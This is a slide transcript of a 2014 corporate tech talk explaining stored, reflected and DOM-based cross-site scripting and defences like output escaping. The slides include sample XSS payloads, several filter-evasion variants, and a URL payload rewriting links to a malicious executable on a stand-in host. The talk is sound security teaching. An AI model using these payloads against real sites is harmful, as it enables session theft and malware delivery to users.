TechTalk - Cross Site Scripting XSS

16
TechTalk FEBRUARY 2014 Cross Site Scripting XSS DEPARTMENT: ARCHITECTURE AND DEVELOPMENT

description

Jürgen Kranz and Justice Nanhou (Architecture and Development Department at axxessio) focused on Cross Site Scripting XSS during this TechTalk.

Transcript of TechTalk - Cross Site Scripting XSS

Page 1: TechTalk - Cross Site Scripting XSS

TechTalk

FEBRUARY 2014

Cross Site Scripting XSS

DEPARTMENT: ARCHITECTURE AND DEVELOPMENT

Page 2: TechTalk - Cross Site Scripting XSS

2

^

» Introduction» Stored XSS» Reflected XSS» DOM Based XSS» XSS Attack Consequences» How to Protect Yourself

Table of Contents

Page 3: TechTalk - Cross Site Scripting XSS

3

^Introduction

https://www.owasp.org/index.php/Top_10_2013-Release_Notes

Page 4: TechTalk - Cross Site Scripting XSS

4

^

XSS flaws occur whenever» application takes untrusted data and sends it to a web

browser without proper validation and escaping

It allows » attackers to execute scripts in the victim’s browser which can:

» hijack user sessions, » deface web sites, or » redirect the user to malicious sites.

Introduction

Page 5: TechTalk - Cross Site Scripting XSS

5

^Introduction

https://www.youtube.com/watch?v=_Z9RQSnf8-g

Page 6: TechTalk - Cross Site Scripting XSS

6

^

» The injected code is permanently stored on the target servers:» Database» Message forum» Visitor log» Comment field. …

» The victim then retrieves the malicious script from the server when it requests the stored information

Stored XSS Attacks

Page 7: TechTalk - Cross Site Scripting XSS

7

^Stored XSS Attacks

Test XSS, <script>alert(document.cookie)</script>

Page 8: TechTalk - Cross Site Scripting XSS

8

^Stored XSS Attacks

Test XSS, <script>alert(document.cookie)</script>

Page 9: TechTalk - Cross Site Scripting XSS

9

^

» The injected code is reflected off the web server, such as in:» An error message» Search result» An e-mail message» Or any other response that includes some or all of the input sent to

the server as part of the request

Reflected XSS Attacks

Page 10: TechTalk - Cross Site Scripting XSS

10

^Reflected XSS Attacks

http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

Page 11: TechTalk - Cross Site Scripting XSS

11

^Reflected XSS Attacks

Different syntax or enconding

Try to write this script in vulnerables input fields

" onfocus="alert(document.cookie)

"><script >alert(document.cookie)</script >

"%3cscript%3ealert(document.cookie)%3c/script%3e

"><ScRiPt>alert(document.cookie)</ScRiPt>

Page 12: TechTalk - Cross Site Scripting XSS

12

^

» The DOM, or Document Object Model, » is the structural format used to represent documents in a browser.» is the de-facto name for XSS bugs

DOM Based XSS

<script>document.write("Site is at: " + document.location.href + ".");</script>

Page 13: TechTalk - Cross Site Scripting XSS

13

^

» The consequence is the same regardless of whether it is stored, reflected or Dom based.» The most severe XSS attacks involve disclosure of the user’s session

cookie, allowing an attacker to hijack the user’s session and take over the account.

» It can also include the disclosure of end user files» installation of Trojan horse programs» redirect the user to some other page or site» modify presentation of content.

XSS Attack Consequences

Page 14: TechTalk - Cross Site Scripting XSS

14

^

» Escape Output Provided by UsersHTML encode any <, >, &, ‘, “ or don’t allow it

» Validate user data to make sure it meets your expectationsUse an HTML Policy engine to validate or clean user-driven HTML in an outbound way

How to Protect Yourself

Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes

String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) );

JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values

String safe = ESAPI.encoder().encodeForJavaScript( request.getParameter( "input" ) );

Page 15: TechTalk - Cross Site Scripting XSS

Thank you for your attention!